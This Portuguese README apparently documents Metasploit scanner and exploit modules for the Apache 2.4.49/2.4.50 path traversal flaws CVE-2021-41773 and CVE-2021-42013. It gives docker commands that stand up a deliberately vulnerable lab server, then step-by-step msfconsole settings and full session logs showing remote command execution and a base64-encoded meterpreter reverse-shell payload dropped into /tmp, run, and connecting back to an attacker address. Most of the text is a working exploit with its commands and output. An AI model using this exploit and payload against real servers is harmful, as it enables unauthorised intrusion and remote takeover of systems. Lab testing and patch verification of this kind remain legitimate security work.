
Módulos do Metasploit-Framework (scanner e exploit) para os CVE-2021-41773 e CVE-2021-42013 (Path Traversal no Apache 2.4.49/2.4.50)
Em 5 de outubro, o Projeto Apache HTTP Server corrigiu o CVE-2021-41773, uma vulnerabilidade de path traversal e divulgação de arquivos no Apache HTTP Server, um servidor web de código aberto para Unix e Windows que está entre os servidores web mais utilizados. De acordo com o aviso de segurança, o CVE-2021-41773 foi explorado ativamente como um zero-day. A vulnerabilidade foi divulgada ao Projeto Apache HTTP Server em 29 de setembro por Ash Daulton e pela equipe de segurança da cPanel. No entanto, o aviso não indica quando a exploração do CVE-2021-41773 foi detectada, mas é razoável supor que a exploração impulsionou a liberação acelerada de uma correção.
Veja: https://fr.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited
Esta vulnerabilidade foi reintroduzida na correção do Apache 2.4.50 (CVE-2021-42013).
Descobriu-se que a correção para o CVE-2021-41773 no Apache HTTP Server 2.4.50 foi insuficiente. Um atacante poderia usar um ataque de path traversal para mapear URLs para arquivos fora dos diretórios configurados por diretivas do tipo Alias. Se arquivos fora desses diretórios não estiverem protegidos pela configuração padrão "require all denied", essas requisições podem ser bem-sucedidas. Se scripts CGI também estiverem habilitados para esses caminhos aliased, isso pode permitir a execução remota de código. Este problema afeta apenas o Apache 2.4.49 e o Apache 2.4.50, e não versões anteriores.
docker run -dit --name CVE-2021-41773 -p 8080:80 -v /opt/apache2.4.49:/usr/local/apache2/htdocs httpd:2.4.49
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker stop CVE-2021-41773
docker start CVE-2021-41773
--ou--
docker run -dit --name CVE-2021-42013 -p 8080:80 -v /opt/apache2.4.50:/usr/local/apache2/htdocs httpd:2.4.50
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker stop CVE-2021-42013
docker start CVE-2021-42013
docker run -dit --name CVE-2021-41773 -p 8080:80 -v /opt/apache2.4.49:/usr/local/apache2/htdocs httpd:2.4.49
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i -E "s|all denied|all granted|g; s|#(.* cgid_.*)|\1|g" conf/httpd.conf
docker stop CVE-2021-41773
docker start CVE-2021-41773
--ou--
docker run -dit --name CVE-2021-42013 -p 8080:80 -v /opt/apache2.4.50:/usr/local/apache2/htdocs httpd:2.4.50
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i -E "s|all denied|all granted|g; s|#(.* cgid_.*)|\1|g" conf/httpd.conf
docker stop CVE-2021-42013
docker start CVE-2021-42013
Liste os passos necessários para garantir que isso funcione
Use o módulo de scanner:
msfconsole.use auxiliary/scanner/http/apache_normalize_pathset RHOSTS [IP]set RPORT 8080set SSL falserunUse o módulo de exploit:
msfconsole.use exploit/multi/http/apache_normalize_path_rceset RHOSTS [IP]set RPORT 8080set SSL falseset LHOST [IP]set VERBOSE truerunmsf6 exploit(multi/http/apache_normalize_path_rce) > use exploit/multi/http/apache_normalize_path_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_normalize_path_rce) > set target 1
target => 1
msf6 exploit(multi/http/apache_normalize_path_rce) > setg rhosts 172.20.4.11
rhosts => 172.20.4.11
msf6 exploit(multi/http/apache_normalize_path_rce) > setg rport 8080
rport => 8080
msf6 exploit(multi/http/apache_normalize_path_rce) > setg ssl false
ssl => false
msf6 exploit(multi/http/apache_normalize_path_rce) > setg verbose true
verbose => true
msf6 exploit(multi/http/apache_normalize_path_rce) > set cmd uname -a
cmd => uname -a
msf6 exploit(multi/http/apache_normalize_path_rce) > run
[+] uname -a
[*] Using auxiliary/scanner/http/apache_normalize_path as check
[+] http://172.20.4.11:8080 - The target is vulnerable to CVE-2021-42013 (mod_cgi enabled).
[*] Scanned 1 of 1 hosts (100% complete)
[*] http://172.20.4.11:8080 - Attempt to exploit for CVE-2021-42013
[*] http://172.20.4.11:8080 - Generated payload: uname -a
[!] http://172.20.4.11:8080 - Dumping command output in response
Linux 184ef33f9859 5.14.0-1-amd64 #1 SMP Debian 5.14.6-3 (2021-09-28) x86_64 GNU/Linux
msf6 exploit(multi/http/apache_normalize_path_rce) >
msf6 exploit(multi/http/apache_normalize_path_rce) > use exploit/multi/http/apache_normalize_path_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_normalize_path_rce) > setg RHOSTS 172.20.4.11
RHOSTS => 172.20.4.11
msf6 exploit(multi/http/apache_normalize_path_rce) > setg rport 8080
rport => 8080
msf6 exploit(multi/http/apache_normalize_path_rce) > setg ssl false
ssl => false
msf6 exploit(multi/http/apache_normalize_path_rce) > setg verbose true
verbose => true
msf6 exploit(multi/http/apache_normalize_path_rce) > set lhost 172.20.7.36
lhost => 172.20.7.36
msf6 exploit(multi/http/apache_normalize_path_rce) > run
[*] Started reverse TCP handler on 172.20.7.36:4444
[*] Using auxiliary/scanner/http/apache_normalize_path as check
[+] http://172.20.4.11:8080 - The target is vulnerable to CVE-2021-42013 (mod_cgi enabled).
[*] Scanned 1 of 1 hosts (100% complete)
[*] http://172.20.4.11:8080 - Attempt to exploit for CVE-2021-42013
[*] http://172.20.4.11:8080 - Sending linux/x64/meterpreter/reverse_tcp command payload
[*] http://172.20.4.11:8080 - Generated command payload: echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXKwUByRRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g== | base64 -d > /tmp/PJaT; chmod +x /tmp/PJaT; /tmp/PJaT; rm -f /tmp/PJaT
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012548 bytes) to 172.20.4.11
[*] Meterpreter session 1 opened (172.20.7.36:4444 -> 172.20.4.11:48540) at 2021-10-08 13:58:13 +0400
[!] This exploit may require manual cleanup of '/tmp/PJaT' on the target
meterpreter >